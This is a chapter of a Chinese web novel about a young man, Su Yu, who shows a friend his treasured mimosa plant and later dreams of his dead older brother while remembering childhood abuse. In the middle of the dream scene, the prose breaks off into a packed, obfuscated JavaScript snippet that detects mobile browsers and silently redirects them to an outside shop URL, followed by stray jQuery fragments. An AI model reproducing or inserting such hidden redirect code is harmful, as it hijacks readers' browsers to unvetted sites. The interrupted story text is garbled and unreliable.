薛一舟本以为苏瑜在家,应该会比在学校的时候放松一些。
可真正在苏家住下来以后,他才发现苏瑜好像在哪里都差不多。依旧安静,依旧温和。
何惊绾和苏明志知道苏瑜要带朋友回来,都很高兴。何惊绾提前准备了不少东西,见薛一舟进门,特意让他别拘束,把这里当自己家。
薛一舟从小就在大家庭里长大,家里长辈多,面对何惊绾和苏明志,他一点也不拘束。
吃饭的时候,桌上的气氛也很自然。反倒是苏瑜,一直坐在旁边安安静静吃饭。
父母问到他的时候,他会认真回答,薛一舟说起自己的事情,他也会认真听,不过很少主动开口。
薛一舟看了他好几眼,莫名觉得有点奇怪,但又说不上哪里奇怪。
吃完饭后,苏瑜陪着薛一舟在客厅闲聊,薛一舟对墙上挂着的一副绣品很感兴趣。
苏瑜抬头看了一眼。上次他回来时,那幅紫藤花还没绣完。如今已经装裱好,挂在客厅的空墙上了。
等到过年的时候,家里应该还会添上不少新的装饰。
苏瑜说:“那是妈妈绣的。”
薛一舟走近看了看:“挺漂亮的。”
“嗯。”苏瑜点点头,“妈妈以前就喜欢这些,绣过很多花。”
“只绣花?”
苏瑜点头:“妈妈很喜欢花。”
薛一舟忽然想起来:“说起来,你不是也养了一盆含羞草吗?”
苏瑜一愣:“……是。”
“在哪儿呢?我看看。”
薛一舟只是随口一提,苏瑜却沉默了。
含羞草应该又被何惊绾搬到了苏瑾的卧室,那间房采光好,很适合养花草。可苏瑜现在根本不敢进去。
薛一舟看着他,有点疑惑:“怎么了?”
苏瑜回过神,摇了摇头:“没事。含羞草在……三楼。”
“那走呗,看看你念叨一学期的花,有什么特别。”
苏瑜却说:“你在这里等我一下。”
薛一舟愣了愣:“啊?”
“我把它拿下来。”
说完,苏瑜一个人上了楼,只留薛一舟一个人在原地疑惑。
踏上最后一级台阶时,苏瑜的脚步慢了下来。三楼很安静,走廊尽头的那扇门关着,和他离开时并没有什么区别。
这几天他一直在刻意回避,不去想被锁起来的日记,不去想那个梦,也不去想……哥哥。
可真正站在门前时,那些被他强行压下的情绪,还是一点点涌了上来。
苏瑜深吸一口气,伸手推开门。
窗边的含羞草还好好放在那里,天色渐晚,叶片已经隐隐有闭合的趋势。
苏瑜走到窗边,小心翼翼地抱起花盆。指尖特别注意绕开了那些细小的叶片,没有碰到一下。
下楼的时候,他走的也很慢,手臂一直保持着平稳,生怕一不小心让含羞草的叶片碰在一起。
薛一舟看着他动作,笑道:“你还挺小心。”
苏瑜放下花盆,犹如卸下千斤重担。
薛一舟随口问:“养多久了?”
苏瑜抿了抿唇,才道:“……半年了。”
说完,他又低头看了一眼含羞草,原来已经过去这么久了。
“养的挺好。”
薛一舟看着那一排细小的叶子,下意识地伸出手。
下一秒,苏瑜几乎是脱口而出:“别碰!”
薛一舟被苏瑜突如其来的强硬吓了一跳,伸出去的手霎时停在半空。
苏瑜自己也愣住了,后知后觉,自己的反应似乎有点过了,声音慢慢低下来:“摸多了……掉头发。”
薛一舟一挑眉:“真的假的?”
苏瑜总不能告诉他,因为那场荒唐的梦,他现在连别人碰一下这盆含羞草,都会觉得不舒服。
“真的,没骗你。”苏瑜认真道,“含羞草摸多了真掉头发。”
他微微垂下眼睫,又忽然想起,梦里那个人,也对他这样说过。
薛一舟看着他的表情,原本伸出去的手慢慢收了回来。
“行吧。”他故意点点头,“这么金贵,我不碰。”
苏瑜明显松了一口气。
可下一秒,薛一舟趁苏瑜一个走神不注意,手又悄悄伸了过去。
“!”
苏瑜条件反射般一把抓住他的手腕,两个人同时愣了一下。
“不是吧苏瑜,”薛一舟看他紧张的表情,终于忍不住笑出声,“我就试一下。”
“你这反应,不知道的还以为我碰了什么不得了的东西。”
苏瑜连忙松开手:“……对不起。”
薛一舟笑意更深。他印象里的苏瑜,很少对什么东西表现出这么明显的在意,可现在一提到这盆含羞草,整个人都不一样了。
他想了想,随意猜道:“我说,这花该不会是什么很重要的人送的吧。”
苏瑜回答的很快:“当然不是。”
薛一舟挑了挑眉:“你看,你这个反应就很可疑。”
“之前军训的时候,我就觉得不对劲了,”他笑了笑,“你说它开花的时候,那个高兴劲儿,和平时完全不一样。”
苏瑜微微睁大眼睛看向薛一舟,显然没想到他记得那时候的事,而且还误打误撞猜对了一点。
薛一舟吐槽:“你这什么眼神,我偶尔也有看准的时候好吧。”
被薛一舟这么一打岔,苏瑜也弯着眼睛笑了笑,气氛轻快不少。
薛一舟还是好奇多问了一句:“所以,到底是谁送的?”
苏瑜有些无奈:“真不是别人送的。”
薛一舟眯了眯眼睛,明显不太信。
苏瑜又重复一遍:“真的。”
“行。你说真的就是真的。”薛一舟点点头,语气还是带着怀疑,“不过你每次说‘真的’的时候,都特别像假的。”
苏瑜:“……”
之前和薛一舟解释家里的事情,对方也是这样。明明他说的都是实话,可薛一舟偏偏就是不信。
苏瑜又认真补充:“这次也是真的。”
薛一舟看了他片刻,最后笑了一声:“知道了。”
只是看起来还是没完全相信。
苏瑜也没再解释,有些事情,他自己都说不清楚。
夜色渐深,窗外最后一点光也慢慢消失。含羞草叶片合拢,安静地垂了下来,苏瑜将花盆抱回了自己的卧室。
……
这几天,苏瑜每天晚上都会惊醒好几次。断断续续的睡眠,让他整个人都疲惫不堪。
这一晚,他几乎沾枕即眠,意识缓缓下坠。久违的梦境也再次降临。
还是熟悉的三楼卧室。
苏瑜见到人的时候,下意识地就想逃开。上次的梦还记得太清楚,他根本不知道该怎么面对眼前的人。
他不敢靠近,可又有点舍不得,最后只能怔怔地站在原地。
梦里的苏瑾和往日没什么不同,似乎一点儿也不记得上次的梦。
他只是看着苏瑜,一如既往地温声道:“今天和朋友聊得很开心?”
苏瑜一愣:“你怎么知道?”
话说出口,他又反应过来:这里是梦,梦里的哥哥本来就知道他所有事情。
苏瑜想了想说:“薛一舟……是个好人。”
苏瑾笑了一下,语气微变:“是吗?”
不知道为什么,苏瑜总觉得今天的哥哥好像有点不一样。
苏瑜眯着眼睛想努力看清他的表情,最后依然以失败告终,只能点头回应:“嗯。”
苏瑾走近他,低声问:“你喜欢和他待在一起?”
“还,还行。”
苏瑜脸上一阵发烫,莫名有些心虚。
明明只是朋友,可不知道为什么,当着哥哥的面承认这件事,好像变得有点奇怪。
苏瑾只是轻轻笑了一下,然后说:“我们小鱼儿交朋友了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17840601|211632||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>苏瑜愣了愣,抬头看向他,忽然有点想期待,哥哥还会说什么。
半晌,他听见苏瑾问:“那我呢?”
仿佛被这句话取悦到一样,苏瑜的心猛然一跳,顿时涌上一股没由来的欢喜和隐秘的满足,唇角都扬了几分。
满足之余,脑子里才慢半拍的冒一个念头——不一样。
当然不一样。
薛一舟只是朋友,哥哥怎么会一样?
苏瑜试着开口:“你……”
他想说很多,想说朋友不会像哥哥一样,想说没有人能替代哥哥,还想说自己根本没有忘记他。
可话到嘴边,全都卡住了。
苏瑜怔怔地看着眼前模糊的轮廓,不知怎的忽然想起薛一舟那一头显眼的蓝色挑染——他们的确不一样。
苏瑜常常对薛一舟的脑回路很无奈,但又忍不住想笑。对方总是会误会自己,需要自己一遍一遍解释,才会将信将疑地点头。
可眼前的人,好像从来不会这样。他永远知道自己在想什么,也永远知道自己想听什么。
有那么一瞬间,苏瑜忽然分不清,眼前的人到底是不是哥哥。
真正的哥哥会是这样的吗?眼前这个永远看不清脸的人,难道不是自己潜意识的想象吗?
如果真是这样,那这个想象里,藏着的又是一个什么样的自己?
苏瑜鼻尖一酸,突然有些难过和羞耻。
没有人比自己更清楚自己的内心,尽管很不想承认,但他确实比自己想象中还要贪心。
他希望有人能在意自己的一举一动,然后因为自己靠近别人而感到失落,最后再问出一句“那我呢”?
只有在这样的时刻,他才能真真切切地感觉到,自己是被人放在心上的。
可现在,他居然在让一个已经不在这个世上的人,去填补自己心里那些见不得光的贪念。
苏瑜知道自己的想法很恶劣——可他又能怎么办呢?
这么久以来,他一直以为自己拥有了一个永远不会离开的人。可其实真正给予这一切的,是他自己。
那些拥抱,那些安慰,那些永远不会拒绝他的温柔,都是他在无数个孤单时刻里,最想要得到的东西。
所以“哥哥”出现在了他的梦里。
可梦醒之后呢?好像还是只有他一个人。
苏瑜低头垂眸,手指又习惯性地攥住胸前的吊坠,不敢再看眼前的人,更不敢再说一句话。
许久,他听到苏瑾轻声唤他:“小鱼儿。”
苏瑜收紧指尖,下意识地后退一步。
“你确定吗?”
苏瑜红着眼眶,猛地抬起头,喉咙突然像是被什么堵住了一样。他张了张嘴,一个字都没能说出来。
胸口剧烈起伏着,呼吸却越来越乱,像有一团棉絮堵在气管里,越想开口,越发不出声音。
又来了。
苏瑜下意识地死死咬住嘴唇,攥着吊坠的手越来越紧,指节泛白,连指尖都在发颤。
这种感觉,他太熟悉了。
小时候每次挨打,他总是会哭,而他也慢慢发现,自己哭的越凶,那些巴掌和棍子就落得越重。
苏瑜其实很怕痛,可后来那些伤落得太频繁,连身体都慢慢习惯了疼。
再后来挨打的时候,眼泪还是会顺着脸往下掉,只不过他学会了把声音咽回去。
时间久了,连他自己都忘了是从什么时候养成的习惯。只要一情绪失控,他就发不出一点声音。
就像现在这样。
苏瑜看着苏瑾,眼眶越来越红,视线也渐渐变得模糊。
确定什么呢?他不明白。
他也不知道自己为什么会这样,明明哥哥只是问了一句话,他却像是被推到了悬崖边上,脚底空空荡荡,只要再往前一步,就是望不到底的深渊。
往前一步……
往前一步——是哥哥。
一双手臂环了上来,将苏瑜整个人紧紧圈进怀里。